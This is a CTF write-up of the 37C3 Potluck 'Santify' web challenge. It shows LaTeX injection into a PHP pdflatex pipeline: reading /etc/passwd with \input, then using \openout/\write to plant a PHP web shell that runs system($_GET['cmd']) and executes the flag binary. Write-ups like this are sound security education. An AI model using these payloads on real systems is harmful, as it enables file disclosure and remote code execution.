37C3 Potluck CTF 2023 - Santify

My solve for Santify, a web challenge from 37C3 Potluck CTF 2023.

Santify

I played 37C3 Potluck CTF this year and solved a handful of challenges. Santify was my favorite, so here’s a write-up.

Challenge Description

Challenge Image

The backend is PHP and exposes three features:

  1. User login/registration.
  2. Create a gift card that supports Markdown/LaTeX for math expressions.
  3. Send gift cards to other users or to yourself.

While adding LaTeX to a card, I hit this error:

Error Image

The error told me a lot:

  1. It takes my input and drops it into a LaTeX file latex.tex like this:

     \documentclass[18pt]{article}
     \thispagestyle{empty}
     \begin{document}
     ${user input}$
     \end{document}
    
  2. It then runs pdflatex to compile that file into a PDF/PNG in a per-request output directory.
  3. The error also leaks the exact command running on the backend:
    timeout 10 pdflatex -no-shell-escape -interaction=nonstopmode -output-directory /app/images/a8780fmandpjqbfppogg /app/images/a8780fmandpjqbfppogg/latex.tex
  4. The -no-shell-escape flag rules out the easy route: \immediate\write18{cat flag.txt} won’t run, and the log just prints “disabled” when you try.
  5. Reading local files still works though, via \input{/etc/passwd}: Error Image Error Image
  6. But pointing it at the flag with \input{/app/flag.txt} gave me this: Error Image
  7. So plain LFI isn’t enough — I’d need RCE to run the /app/readflag binary and get the real flag.
  8. I burned some time trying to execute commands straight from LaTeX per the docs, with nothing to show for it. The idea that worked came from the backend being PHP: if I could write a file next to the generated PDF/PNG, I could drop a PHP shell into a web-served directory.
  9. So I looked for a way to write an arbitrary file with controlled contents from LaTeX, and found this:

      \newwrite\mytextfile
      \immediate\openout\mytextfile=abc.txt
      \immediate\write\mytextfile{hello}
    
  10. It wrote abc.txt straight into the image directory:
    http://challenge15.play.potluckctf.com:31337/images/9fc7o182n43naghibl5h/abc.txt

  11. From there it’s just a matter of writing a PHP shell instead. Final payload:

        $\leftarrow$
        \newwrite\mytextfile
        \immediate\openout\mytextfile=abc.php
        \immediate\write\mytextfile{<?php echo system($_GET['cmd']);?>}
        $\leftarrow$
    
  12. That dropped abc.php in the same directory. Now I could run /app/readflag: http://challenge15.play.potluckctf.com:31337/images/9fc7o182n43naghibl5h/abc.php?cmd=/app/readflag Error Image

flag : potluck{christmas_brings_the _categories _together}